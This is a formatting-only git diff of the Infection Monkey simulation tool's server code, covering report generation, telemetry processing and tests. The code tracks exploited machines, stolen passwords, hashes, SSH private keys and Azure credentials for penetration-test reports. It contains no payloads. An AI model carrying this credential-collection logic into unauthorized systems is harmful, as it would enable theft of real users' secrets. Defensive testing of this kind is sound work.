"type":"Clear Password", "origin":origin} + {"username": user.replace(",", "."), "type": "Clear Password", "origin": origin} for user in azure_users ] creds.extend(azure_leaked_users) @@ -328,14 +323,14 @@ def process_exploit(exploit) -> ExploiterReportInfo: @staticmethod def get_exploits() -> List[dict]: query = [ - {"$match":{"telem_category":"exploit", "data.result":True}}, + {"$match": {"telem_category": "exploit", "data.result": True}}, { - "$group":{ - "_id":{"ip_address":"$data.machine.ip_addr"}, - "data":{"$first":"$$ROOT"}, + "$group": { + "_id": {"ip_address": "$data.machine.ip_addr"}, + "data": {"$first": "$$ROOT"}, } }, - {"$replaceRoot":{"newRoot":"$data"}}, + {"$replaceRoot": {"newRoot": "$data"}}, ] exploits = [] for exploit in mongo.db.telemetry.aggregate(query): @@ -347,8 +342,8 @@ def get_exploits() -> List[dict]: @staticmethod def get_monkey_subnets(monkey_guid): network_info = mongo.db.telemetry.find_one( - {"telem_category":"system_info", "monkey_guid":monkey_guid}, - {"data.network_info.networks":1}, + {"telem_category": "system_info", "monkey_guid": monkey_guid}, + {"data.network_info.networks": 1}, ) if network_info is None or not network_info["data"]: return [] @@ -363,7 +358,7 @@ def get_island_cross_segment_issues(): issues = [] island_ips = local_ip_addresses() for monkey in mongo.db.monkey.find( - {"tunnel":{"$exists":False}}, {"tunnel":1, "guid":1, "hostname":1} + {"tunnel": {"$exists": False}}, {"tunnel": 1, "guid": 1, "hostname": 1} ): found_good_ip = False monkey_subnets = ReportService.get_monkey_subnets(monkey["guid"]) @@ -376,12 +371,12 @@ def get_island_cross_segment_issues(): break if not found_good_ip: issues.append( - { - "type":"island_cross_segment", - "machine":monkey["hostname"], - "networks":[str(subnet) for subnet in monkey_subnets], - "server_networks":[str(subnet) for subnet in get_subnets()], - } + { + "type": "island_cross_segment", + "machine": monkey["hostname"], + "networks": [str(subnet) for subnet in monkey_subnets], + "server_networks": [str(subnet) for subnet in get_subnets()], + } ) return issues @@ -400,7 +395,7 @@ def get_cross_segment_issues_of_single_machine(source_subnet_range, target_subne """ cross_segment_issues = [] - for monkey in mongo.db.monkey.find({}, {"ip_addresses":1, "hostname":1}): + for monkey in mongo.db.monkey.find({}, {"ip_addresses": 1, "hostname": 1}): ip_in_src = None ip_in_dst = None for ip_addr in monkey["ip_addresses"]: @@ -419,13 +414,13 @@ def get_cross_segment_issues_of_single_machine(source_subnet_range, target_subne if ip_in_dst: cross_segment_issues.append( - { - "source":ip_in_src, - "hostname":monkey["hostname"], - "target":ip_in_dst, - "services":None, - "is_self":True, - } + { + "source": ip_in_src, + "hostname": monkey["hostname"], + "target": ip_in_dst, + "services": None, + "is_self": True, + } ) return cross_segment_issues @@ -454,23 +449,23 @@ def get_cross_segment_issues_per_subnet_pair(scans, source_subnet, target_subnet if target_subnet_range.is_in_range(str(target_ip)): monkey = NodeService.get_monkey_by_guid(scan["monkey_guid"]) cross_segment_ip = get_ip_in_src_and_not_in_dst( - monkey["ip_addresses"], source_subnet_range, target_subnet_range + monkey["ip_addresses"], source_subnet_range, target_subnet_range ) if cross_segment_ip is not None: cross_segment_issues.append( - { - "source":cross_segment_ip, - "hostname":monkey["hostname"], - "target":target_ip, - "services":scan["data"]["machine"]["services"], - "icmp":scan["data"]["machine"]["icmp"], - "is_self":False, - } + { + "source": cross_segment_ip, + "hostname": monkey["hostname"], + "target": target_ip, + "services": scan["data"]["machine"]["services"], + "icmp": scan["data"]["machine"]["icmp"], + "is_self": False, + } ) return cross_segment_issues + ReportService.get_cross_segment_issues_of_single_machine( - source_subnet_range, target_subnet_range + source_subnet_range, target_subnet_range ) @staticmethod @@ -489,15 +484,15 @@ def get_cross_segment_issues_per_subnet_group(scans, subnet_group): source_subnet = subnet_pair[0] target_subnet = subnet_pair[1] pair_issues = ReportService.get_cross_segment_issues_per_subnet_pair( - scans, source_subnet, target_subnet + scans, source_subnet, target_subnet ) if len(pair_issues) != 0: cross_segment_issues.append( - { - "source_subnet":source_subnet, - "target_subnet":target_subnet, - "issues":pair_issues, - } + { + "source_subnet": source_subnet, + "target_subnet": target_subnet, + "issues": pair_issues, + } ) return cross_segment_issues @@ -505,13 +500,13 @@ def get_cross_segment_issues_per_subnet_group(scans, subnet_group): @staticmethod def get_cross_segment_issues(): scans = mongo.db.telemetry.find( - {"telem_category":"scan"}, - { - "monkey_guid":1, - "data.machine.ip_addr":1, - "data.machine.services":1, - "data.machine.icmp":1, - }, + {"telem_category": "scan"}, + { + "monkey_guid": 1, + "data.machine.ip_addr": 1, + "data.machine.services": 1, + "data.machine.icmp": 1, + }, ) cross_segment_issues = [] @@ -521,7 +516,7 @@ def get_cross_segment_issues(): for subnet_group in subnet_groups: cross_segment_issues += ReportService.get_cross_segment_issues_per_subnet_group( - scans, subnet_group + scans, subnet_group ) return cross_segment_issues @@ -532,7 +527,7 @@ def get_domain_issues(): PTHReportService.get_duplicated_passwords_issues, PTHReportService.get_shared_admins_issues, ] - issues = functools.reduce(lambda acc, issue_gen:acc + issue_gen(), ISSUE_GENERATORS, []) + issues = functools.reduce(lambda acc, issue_gen: acc + issue_gen(), ISSUE_GENERATORS, []) domain_issues_dict = {} for issue in issues: if not issue.get("is_local", True): @@ -549,7 +544,7 @@ def get_domain_issues(): @staticmethod def get_machine_aws_instance_id(hostname): aws_instance_id_list = list( - mongo.db.monkey.find({"hostname":hostname}, {"aws_instance_id":1}) + mongo.db.monkey.find({"hostname": hostname}, {"aws_instance_id": 1}) ) if aws_instance_id_list: if "aws_instance_id" in aws_instance_id_list[0]: @@ -561,7 +556,7 @@ def get_machine_aws_instance_id(hostname): def get_manual_monkeys(): return [ monkey["hostname"] - for monkey in mongo.db.monkey.find({}, {"hostname":1, "parent":1, "guid":1}) + for monkey in mongo.db.monkey.find({}, {"hostname": 1, "parent": 1, "guid": 1}) if NodeService.get_monkey_manual_run(monkey) ] @@ -615,29 +610,29 @@ def get_issue_set(issues, config_users, config_passwords): @staticmethod def _is_weak_credential_issue( - issue: dict, config_usernames: List[str], config_passwords: List[str] + issue: dict, config_usernames: List[str], config_passwords: List[str] ) -> bool: # Only credential exploiter issues have 'credential_type' return ( - "credential_type" in issue - and issue["credential_type"] == CredentialType.PASSWORD.value - and issue["password"] in config_passwords - and issue["username"] in config_usernames + "credential_type" in issue + and issue["credential_type"] == CredentialType.PASSWORD.value + and issue["password"] in config_passwords + and issue["username"] in config_usernames ) @staticmethod def _is_stolen_credential_issue(issue: dict) -> bool: # Only credential exploiter issues have 'credential_type' return "credential_type" in issue and ( - issue["credential_type"] == CredentialType.PASSWORD.value - or issue["credential_type"] == CredentialType.HASH.value + issue["credential_type"] == CredentialType.PASSWORD.value + or issue["credential_type"] == CredentialType.HASH.value ) @staticmethod def _is_zerologon_pass_restore_failed(issue: dict): return ( - issue["type"] == ExploiterDescriptorEnum.ZEROLOGON.value.class_name - and not issue["password_restored"] + issue["type"] == ExploiterDescriptorEnum.ZEROLOGON.value.class_name + and not issue["password_restored"] ) @staticmethod @@ -658,30 +653,30 @@ def generate_report(): scanned_nodes = ReportService.get_scanned() exploited_nodes = ReportService.get_exploited() report = { - "overview":{ - "manual_monkeys":ReportService.get_manual_monkeys(), - "config_users":config_users, - "config_passwords":config_passwords, - "config_exploits":ReportService.get_config_exploits(), - "config_ips":ReportService.get_config_ips(), - "config_scan":ReportService.get_config_scan(), - "monkey_start_time":ReportService.get_first_monkey_time().strftime( - "%d/%m/%Y %H:%M:%S" + "overview": { + "manual_monkeys": ReportService.get_manual_monkeys(), + "config_users": config_users, + "config_passwords": config_passwords, + "config_exploits": ReportService.get_config_exploits(), + "config_ips": ReportService.get_config_ips(), + "config_scan": ReportService.get_config_scan(), + "monkey_start_time": ReportService.get_first_monkey_time().strftime( + "%d/%m/%Y %H:%M:%S" ), - "monkey_duration":ReportService.get_monkey_duration(), - "issues":issue_set, - "cross_segment_issues":cross_segment_issues, + "monkey_duration": ReportService.get_monkey_duration(), + "issues": issue_set, + "cross_segment_issues": cross_segment_issues, }, - "glance":{ - "scanned":scanned_nodes, - "exploited":exploited_nodes, - "stolen_creds":ReportService.get_stolen_creds(), - "azure_passwords":ReportService.get_azure_creds(), - "ssh_keys":ReportService.get_ssh_keys(), - "strong_users":PTHReportService.get_strong_users_on_crit_details(), + "glance": { + "scanned": scanned_nodes, + "exploited": exploited_nodes, + "stolen_creds": ReportService.get_stolen_creds(), + "azure_passwords": ReportService.get_azure_creds(), + "ssh_keys": ReportService.get_ssh_keys(), + "strong_users": PTHReportService.get_strong_users_on_crit_details(), }, - "recommendations":{"issues":issues, "domain_issues":domain_issues}, - "meta":{"latest_monkey_modifytime":monkey_latest_modify_time}, + "recommendations": {"issues": issues, "domain_issues": domain_issues}, + "meta": {"latest_monkey_modifytime": monkey_latest_modify_time}, } ReportExporterManager().export(report) mongo.db.report.drop() @@ -700,7 +695,7 @@ def get_issues(): PTHReportService.get_strong_users_on_crit_issues, ] - issues = functools.reduce(lambda acc, issue_gen:acc + issue_gen(), ISSUE_GENERATORS, []) + issues = functools.reduce(lambda acc, issue_gen: acc + issue_gen(), ISSUE_GENERATORS, []) issues_dict = {} for issue in issues: @@ -733,7 +728,7 @@ def is_latest_report_exists(): :return: True if report is the latest one, False if there isn't a report or its not the latest. """ - latest_report_doc = mongo.db.report.find_one({}, {"meta.latest_monkey_modifytime":1}) + latest_report_doc = mongo.db.report.find_one({}, {"meta.latest_monkey_modifytime": 1}) if latest_report_doc: report_latest_modifytime = latest_report_doc["meta"]["latest_monkey_modifytime"] @@ -751,7 +746,7 @@ def delete_saved_report_if_exists(): delete_result = mongo.db.report.delete_many({}) if mongo.db.report.count_documents({}) != 0: raise RuntimeError( - "Report cache not cleared. DeleteResult: " + delete_result.raw_result + "Report cache not cleared. DeleteResult: " + delete_result.raw_result ) @staticmethod @@ -772,9 +767,8 @@ def get_report(): @staticmethod def did_exploit_type_succeed(exploit_type): return ( - mongo.db.edge.count( - {"exploits":{"$elemMatch":{"exploiter":exploit_type, "result":True}}}, - limit=1 - ) - > 0 + mongo.db.edge.count( + {"exploits": {"$elemMatch": {"exploiter": exploit_type, "result": True}}}, limit=1 + ) + > 0 ) diff --git a/monkey/monkey_island/cc/services/reporting/test_report.py b/monkey/monkey_island/cc/services/reporting/test_report.py index 89b08fd117e..cf446c7570d 100644 --- a/monkey/monkey_island/cc/services/reporting/test_report.py +++ b/monkey/monkey_island/cc/services/reporting/test_report.py @@ -4,41 +4,41 @@ from monkey_island.cc.services.reporting.report import ReportService NODE_DICT = { - "id":"602f62118e30cf35830ff8e4", - "label":"WinDev2010Eval.mshome.net", - "group":"monkey_windows", - "os":"windows", - "dead":True, - "exploits":[ + "id": "602f62118e30cf35830ff8e4", + "label": "WinDev2010Eval.mshome.net", + "group": "monkey_windows", + "os": "windows", + "dead": True, + "exploits": [ { - "result":True, - "exploiter":"DrupalExploiter", - "info":{ - "display_name":"Drupal Server", - "started":datetime.datetime(2021, 2, 19, 9, 0, 14, 950000), - "finished":datetime.datetime(2021, 2, 19, 9, 0, 14, 950000), - "vulnerable_urls":[], - "vulnerable_ports":[], - "executed_cmds":[], + "result": True, + "exploiter": "DrupalExploiter", + "info": { + "display_name": "Drupal Server", + "started": datetime.datetime(2021, 2, 19, 9, 0, 14, 950000), + "finished": datetime.datetime(2021, 2, 19, 9, 0, 14, 950000), + "vulnerable_urls": [], + "vulnerable_ports": [], + "executed_cmds": [], }, - "attempts":[], - "timestamp":datetime.datetime(2021, 2, 19, 9, 0, 14, 984000), - "origin":"MonkeyIsland : 192.168.56.1", + "attempts": [], + "timestamp": datetime.datetime(2021, 2, 19, 9, 0, 14, 984000), + "origin": "MonkeyIsland : 192.168.56.1", }, { - "result":True, - "exploiter":"ElasticGroovyExploiter", - "info":{ - "display_name":"Elastic search", - "started":datetime.datetime(2021, 2, 19, 9, 0, 15, 16000), - "finished":datetime.datetime(2021, 2, 19, 9, 0, 15, 17000), - "vulnerable_urls":[], - "vulnerable_ports":[], - "executed_cmds":[], + "result": True, + "exploiter": "ElasticGroovyExploiter", + "info": { + "display_name": "Elastic search", + "started": datetime.datetime(2021, 2, 19, 9, 0, 15, 16000), + "finished": datetime.datetime(2021, 2, 19, 9, 0, 15, 17000), + "vulnerable_urls": [], + "vulnerable_ports": [], + "executed_cmds": [], }, - "attempts":[], - "timestamp":datetime.datetime(2021, 2, 19, 9, 0, 15, 60000), - "origin":"MonkeyIsland : 192.168.56.1", + "attempts": [], + "timestamp": datetime.datetime(2021, 2, 19, 9, 0, 15, 60000), + "origin": "MonkeyIsland : 192.168.56.1", }, ], } diff --git a/monkey/monkey_island/cc/services/representations_test.py b/monkey/monkey_island/cc/services/representations_test.py index be622b61234..8aadc0bed8d 100644 --- a/monkey/monkey_island/cc/services/representations_test.py +++ b/monkey/monkey_island/cc/services/representations_test.py @@ -12,35 +12,35 @@ def test_normalize_obj(self): self.assertEqual({}, normalize_obj({})) # no special content - self.assertEqual({"a":"a"}, normalize_obj({"a":"a"})) + self.assertEqual({"a": "a"}, normalize_obj({"a": "a"})) # _id field -> id field - self.assertEqual({"id":12345}, normalize_obj({"_id":12345})) + self.assertEqual({"id": 12345}, normalize_obj({"_id": 12345})) # obj id field -> str obj_id_str = "123456789012345678901234" self.assertEqual( - {"id":obj_id_str}, normalize_obj({"_id":bson.objectid.ObjectId(obj_id_str)}) + {"id": obj_id_str}, normalize_obj({"_id": bson.objectid.ObjectId(obj_id_str)}) ) # datetime -> str dt = datetime.now() - expected = {"a":str(dt)} - result = normalize_obj({"a":dt}) + expected = {"a": str(dt)} + result = normalize_obj({"a": dt}) self.assertEqual(expected, result) # dicts and lists self.assertEqual( - {"a":[{"ba":obj_id_str, "bb":obj_id_str}], "b":{"id":obj_id_str}}, - normalize_obj( + {"a": [{"ba": obj_id_str, "bb": obj_id_str}], "b": {"id": obj_id_str}}, + normalize_obj( + { + "a": [ { - "a":[ - { - "ba":bson.objectid.ObjectId(obj_id_str), - "bb":bson.objectid.ObjectId(obj_id_str), - } - ], - "b":{"_id":bson.objectid.ObjectId(obj_id_str)}, + "ba": bson.objectid.ObjectId(obj_id_str), + "bb": bson.objectid.ObjectId(obj_id_str), } - ), + ], + "b": {"_id": bson.objectid.ObjectId(obj_id_str)}, + } + ), ) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py index d3c5cb37af3..6eb759b211e 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py @@ -23,11 +23,11 @@ def process_exploit_telemetry(telemetry_json): add_exploit_extracted_creds_to_config(telemetry_json) check_machine_exploited( - current_monkey=Monkey.get_single_monkey_by_guid(telemetry_json["monkey_guid"]), - exploit_successful=telemetry_json["data"]["result"], - exploiter=telemetry_json["data"]["exploiter"], - target_ip=telemetry_json["data"]["machine"]["ip_addr"], - timestamp=telemetry_json["timestamp"], + current_monkey=Monkey.get_single_monkey_by_guid(telemetry_json["monkey_guid"]), + exploit_successful=telemetry_json["data"]["result"], + exploiter=telemetry_json["data"]["exploiter"], + target_ip=telemetry_json["data"]["machine"]["ip_addr"], + timestamp=telemetry_json["timestamp"], ) @@ -47,7 +47,7 @@ def add_exploit_extracted_creds_to_config(telemetry_json): def update_node_credentials_from_successful_attempts(edge: EdgeService, telemetry_json): for attempt in telemetry_json["data"]["attempts"]: if attempt["result"]: - found_creds = {"user":attempt["user"]} + found_creds = {"user": attempt["user"]} for field in ["password", "lm_hash", "ntlm_hash", "ssh_key"]: if len(attempt[field]) != 0: found_creds[field] = attempt[field] @@ -56,10 +56,10 @@ def update_node_credentials_from_successful_attempts(edge: EdgeService, telemetr def update_network_with_exploit(edge: EdgeService, telemetry_json): telemetry_json["data"]["info"]["started"] = dateutil.parser.parse( - telemetry_json["data"]["info"]["started"] + telemetry_json["data"]["info"]["started"] ) telemetry_json["data"]["info"]["finished"] = dateutil.parser.parse( - telemetry_json["data"]["info"]["finished"] + telemetry_json["data"]["info"]["finished"] ) new_exploit = copy.deepcopy(telemetry_json["data"]) new_exploit.pop("machine") diff --git a/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py b/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py index 7ccbb2e96ca..be7b6e7ea05 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py @@ -18,7 +18,7 @@ def process_communicate_as_new_user_telemetry(telemetry_json): POST_BREACH_TELEMETRY_PROCESSING_FUNCS = { - POST_BREACH_COMMUNICATE_AS_NEW_USER:process_communicate_as_new_user_telemetry, + POST_BREACH_COMMUNICATE_AS_NEW_USER: process_communicate_as_new_user_telemetry, } @@ -55,5 +55,5 @@ def add_message_for_blank_outputs(data): def update_data(telemetry_json, data): mongo.db.monkey.update( - {"guid":telemetry_json["monkey_guid"]}, {"$push":{"pba_results":data}} + {"guid": telemetry_json["monkey_guid"]}, {"$push": {"pba_results": data}} ) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/processing.py b/monkey/monkey_island/cc/services/telemetry/processing/processing.py index 8a3bc9b78fe..667928d3ce1 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/processing.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/processing.py @@ -12,16 +12,16 @@ logger = logging.getLogger(__name__) TELEMETRY_CATEGORY_TO_PROCESSING_FUNC = { - TelemCategoryEnum.TUNNEL:process_tunnel_telemetry, - TelemCategoryEnum.STATE:process_state_telemetry, - TelemCategoryEnum.EXPLOIT:process_exploit_telemetry, - TelemCategoryEnum.SCAN:process_scan_telemetry, - TelemCategoryEnum.SYSTEM_INFO:process_system_info_telemetry, - TelemCategoryEnum.POST_BREACH:process_post_breach_telemetry, - TelemCategoryEnum.SCOUTSUITE:process_scoutsuite_telemetry, + TelemCategoryEnum.TUNNEL: process_tunnel_telemetry, + TelemCategoryEnum.STATE: process_state_telemetry, + TelemCategoryEnum.EXPLOIT: process_exploit_telemetry, + TelemCategoryEnum.SCAN: process_scan_telemetry, + TelemCategoryEnum.SYSTEM_INFO: process_system_info_telemetry, + TelemCategoryEnum.POST_BREACH: process_post_breach_telemetry, + TelemCategoryEnum.SCOUTSUITE: process_scoutsuite_telemetry, # `lambda *args, **kwargs: None` is a no-op. - TelemCategoryEnum.TRACE:lambda *args, **kwargs:None, - TelemCategoryEnum.ATTACK:lambda *args, **kwargs:None, + TelemCategoryEnum.TRACE: lambda *args, **kwargs: None, + TelemCategoryEnum.ATTACK: lambda *args, **kwargs: None, } @@ -34,5 +34,5 @@ def process_telemetry(telemetry_json): logger.info("Got unknown type of telemetry: %s" % telem_category) except Exception as ex: logger.error( - "Exception caught while processing telemetry. Info: {}".format(ex), exc_info=True + "Exception caught while processing telemetry. Info: {}".format(ex), exc_info=True ) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/scan.py b/monkey/monkey_island/cc/services/telemetry/processing/scan.py index 194797a9831..764cd304499 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/scan.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/scan.py @@ -25,16 +25,16 @@ def update_edges_and_nodes_based_on_scan_telemetry(telemetry_json): edge = get_edge_by_scan_or_exploit_telemetry(telemetry_json) edge.update_based_on_scan_telemetry(telemetry_json) - node = mongo.db.node.find_one({"_id":edge.dst_node_id}) + node = mongo.db.node.find_one({"_id": edge.dst_node_id}) if node is not None: scan_os = telemetry_json["data"]["machine"]["os"] if "type" in scan_os: mongo.db.node.update( - {"_id":node["_id"]}, {"$set":{"os.type":scan_os["type"]}}, upsert=False + {"_id": node["_id"]}, {"$set": {"os.type": scan_os["type"]}}, upsert=False ) if "version" in scan_os: mongo.db.node.update( - {"_id":node["_id"]}, {"$set":{"os.version":scan_os["version"]}}, upsert=False + {"_id": node["_id"]}, {"$set": {"os.version": scan_os["version"]}}, upsert=False ) label = NodeService.get_label_for_endpoint(node["_id"]) edge.update_label(node["_id"], label) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/scoutsuite.py b/monkey/monkey_island/cc/services/telemetry/processing/scoutsuite.py index 2584179fa10..5f2677bcbb5 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/scoutsuite.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/scoutsuite.py @@ -34,5 +34,5 @@ def create_scoutsuite_findings(cloud_services: dict): def update_data(telemetry_json): mongo.db.scoutsuite.insert_one( - {"guid":telemetry_json["monkey_guid"]}, {"results":telemetry_json["data"]} + {"guid": telemetry_json["monkey_guid"]}, {"results": telemetry_json["data"]} ) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/state.py b/monkey/monkey_island/cc/services/telemetry/processing/state.py index 3ab6430effe..87e7797c2fd 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/state.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/state.py @@ -23,6 +23,6 @@ def process_state_telemetry(telemetry_json): if telemetry_json["data"]["version"]: logger.info( - f"monkey {telemetry_json['monkey_guid']} has version " - f"{telemetry_json['data']['version']}" + f"monkey {telemetry_json['monkey_guid']} has version " + f"{telemetry_json['data']['version']}" ) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info.py index a0a16d72cf6..065fb49829e 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/system_info.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info.py @@ -3,8 +3,7 @@ from monkey_island.cc.server_utils.encryptor import get_encryptor from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.node import NodeService -from monkey_island.cc.services.telemetry.processing.system_info_collectors\ - .system_info_telemetry_dispatcher import ( +from monkey_island.cc.services.telemetry.processing.system_info_collectors.system_info_telemetry_dispatcher import ( SystemInfoTelemetryDispatcher, ) from monkey_island.cc.services.wmi_handler import WMIHandler @@ -34,10 +33,10 @@ def safe_process_telemetry(processing_function, telemetry_json): processing_function(telemetry_json) except Exception as err: logger.error( - "Error {} while in {} stage of processing telemetry.".format( - str(err), processing_function.__name__ - ), - exc_info=True, + "Error {} while in {} stage of processing telemetry.".format( + str(err), processing_function.__name__ + ), + exc_info=True, ) @@ -58,7 +57,7 @@ def add_system_info_ssh_keys_to_config(ssh_info): # Public key is useless without private key if user["public_key"] and user["private_key"]: ConfigService.ssh_add_keys( - user["public_key"], user["private_key"], user["name"], user["ip"] + user["public_key"], user["private_key"], user["name"], user["ip"] ) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/aws.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/aws.py index c188db97d76..0fae438d4d2 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/aws.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/aws.py @@ -13,6 +13,5 @@ def process_aws_telemetry(collector_results, monkey_guid): relevant_monkey.aws_instance_id = instance_id relevant_monkey.save() logger.debug( - "Updated Monkey {} with aws instance id {}".format(str(relevant_monkey), - instance_id) + "Updated Monkey {} with aws instance id {}".format(str(relevant_monkey), instance_id) ) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py index adb8d5f3309..7ce4b6fcfbc 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py @@ -23,18 +23,17 @@ logger = logging.getLogger(__name__) SYSTEM_INFO_COLLECTOR_TO_TELEMETRY_PROCESSORS = { - AWS_COLLECTOR:[process_aws_telemetry], - ENVIRONMENT_COLLECTOR:[process_environment_telemetry], - HOSTNAME_COLLECTOR:[process_hostname_telemetry], - PROCESS_LIST_COLLECTOR:[check_antivirus_existence], + AWS_COLLECTOR: [process_aws_telemetry], + ENVIRONMENT_COLLECTOR: [process_environment_telemetry], + HOSTNAME_COLLECTOR: [process_hostname_telemetry], + PROCESS_LIST_COLLECTOR: [check_antivirus_existence], } class SystemInfoTelemetryDispatcher(object): def __init__( - self, - collector_to_parsing_functions: typing.Mapping[ - str, typing.List[typing.Callable]] = None, + self, + collector_to_parsing_functions: typing.Mapping[str, typing.List[typing.Callable]] = None, ): """ :param collector_to_parsing_functions: Map between collector names and a list of functions @@ -60,11 +59,11 @@ def dispatch_single_result_to_relevant_processor(self, telemetry_json): for collector_name, collector_results in telemetry_json["data"]["collectors"].items(): self.dispatch_result_of_single_collector_to_processing_functions( - collector_name, collector_results, relevant_monkey_guid + collector_name, collector_results, relevant_monkey_guid ) def dispatch_result_of_single_collector_to_processing_functions( - self, collector_name, collector_results, relevant_monkey_guid + self, collector_name, collector_results, relevant_monkey_guid ): if collector_name in self.collector_to_processing_functions: for processing_function in self.collector_to_processing_functions[collector_name]: @@ -73,10 +72,10 @@ def dispatch_result_of_single_collector_to_processing_functions( processing_function(collector_results, relevant_monkey_guid) except Exception as e: logger.error( - "Error {} while processing {} system info telemetry".format( - str(e), collector_name - ), - exc_info=True, + "Error {} while processing {} system info telemetry".format( + str(e), collector_name + ), + exc_info=True, ) else: logger.warning("Unknown system info collector name: {}".format(collector_name)) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_environment.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_environment.py index e392a3601c8..f1e53d5f463 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_environment.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_environment.py @@ -1,8 +1,7 @@ import uuid from monkey_island.cc.models import Monkey -from monkey_island.cc.services.telemetry.processing.system_info_collectors\ - .system_info_telemetry_dispatcher import ( +from monkey_island.cc.services.telemetry.processing.system_info_collectors.system_info_telemetry_dispatcher import ( SystemInfoTelemetryDispatcher, ) @@ -17,12 +16,12 @@ def test_process_environment_telemetry(self): on_premise = "On Premise" telem_json = { - "data":{ - "collectors":{ - "EnvironmentCollector":{"environment":on_premise}, + "data": { + "collectors": { + "EnvironmentCollector": {"environment": on_premise}, } }, - "monkey_guid":monkey_guid, + "monkey_guid": monkey_guid, } dispatcher.dispatch_collector_results_to_relevant_processors(telem_json) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_system_info_telemetry_dispatcher.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_system_info_telemetry_dispatcher.py index 24e92881809..744d103703f 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_system_info_telemetry_dispatcher.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_system_info_telemetry_dispatcher.py @@ -3,14 +3,13 @@ import pytest from monkey_island.cc.models import Monkey -from monkey_island.cc.services.telemetry.processing.system_info_collectors\ - .system_info_telemetry_dispatcher import ( +from monkey_island.cc.services.telemetry.processing.system_info_collectors.system_info_telemetry_dispatcher import ( SystemInfoTelemetryDispatcher, process_aws_telemetry, ) TEST_SYS_INFO_TO_PROCESSING = { - "AwsCollector":[process_aws_telemetry], + "AwsCollector": [process_aws_telemetry], } @@ -23,19 +22,19 @@ def test_dispatch_to_relevant_collector_bad_inputs(self): with pytest.raises(KeyError): dispatcher.dispatch_collector_results_to_relevant_processors(bad_empty_telem_json) - bad_no_data_telem_json = {"monkey_guid":"bla"} + bad_no_data_telem_json = {"monkey_guid": "bla"} with pytest.raises(KeyError): dispatcher.dispatch_collector_results_to_relevant_processors(bad_no_data_telem_json) - bad_no_monkey_telem_json = {"data":{"collectors":{"AwsCollector":"Bla"}}} + bad_no_monkey_telem_json = {"data": {"collectors": {"AwsCollector": "Bla"}}} with pytest.raises(KeyError): dispatcher.dispatch_collector_results_to_relevant_processors(bad_no_monkey_telem_json) # Telem JSON with no collectors - nothing gets dispatched - good_telem_no_collectors = {"monkey_guid":"bla", "data":{"bla":"bla"}} + good_telem_no_collectors = {"monkey_guid": "bla", "data": {"bla": "bla"}} good_telem_empty_collectors = { - "monkey_guid":"bla", - "data":{"bla":"bla", "collectors":{}}, + "monkey_guid": "bla", + "data": {"bla": "bla", "collectors": {}}, } dispatcher.dispatch_collector_results_to_relevant_processors(good_telem_no_collectors) @@ -50,12 +49,12 @@ def test_dispatch_to_relevant_collector(self): # JSON with results - make sure functions are called instance_id = "i-0bd2c14bd4c7d703f" telem_json = { - "data":{ - "collectors":{ - "AwsCollector":{"instance_id":instance_id}, + "data": { + "collectors": { + "AwsCollector": {"instance_id": instance_id}, } }, - "monkey_guid":a_monkey.guid, + "monkey_guid": a_monkey.guid, } dispatcher.dispatch_collector_results_to_relevant_processors(telem_json) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/test_post_breach.py b/monkey/monkey_island/cc/services/telemetry/processing/test_post_breach.py index 2177c3ae624..88233911969 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/test_post_breach.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/test_post_breach.py @@ -5,65 +5,65 @@ from .post_breach import EXECUTION_WITHOUT_OUTPUT original_telem_multiple_results = { - "data":{ - "command":"COMMAND", - "hostname":"HOST", - "ip":"127.0.1.1", - "name":"PBA NAME", - "result":[["SUCCESSFUL", True], ["UNSUCCESFUL", False], ["", True]], + "data": { + "command": "COMMAND", + "hostname": "HOST", + "ip": "127.0.1.1", + "name": "PBA NAME", + "result": [["SUCCESSFUL", True], ["UNSUCCESFUL", False], ["", True]], }, - "telem_category":"post_breach", + "telem_category": "post_breach", } expected_telem_multiple_results = { - "data":[ + "data": [ { - "command":"COMMAND", 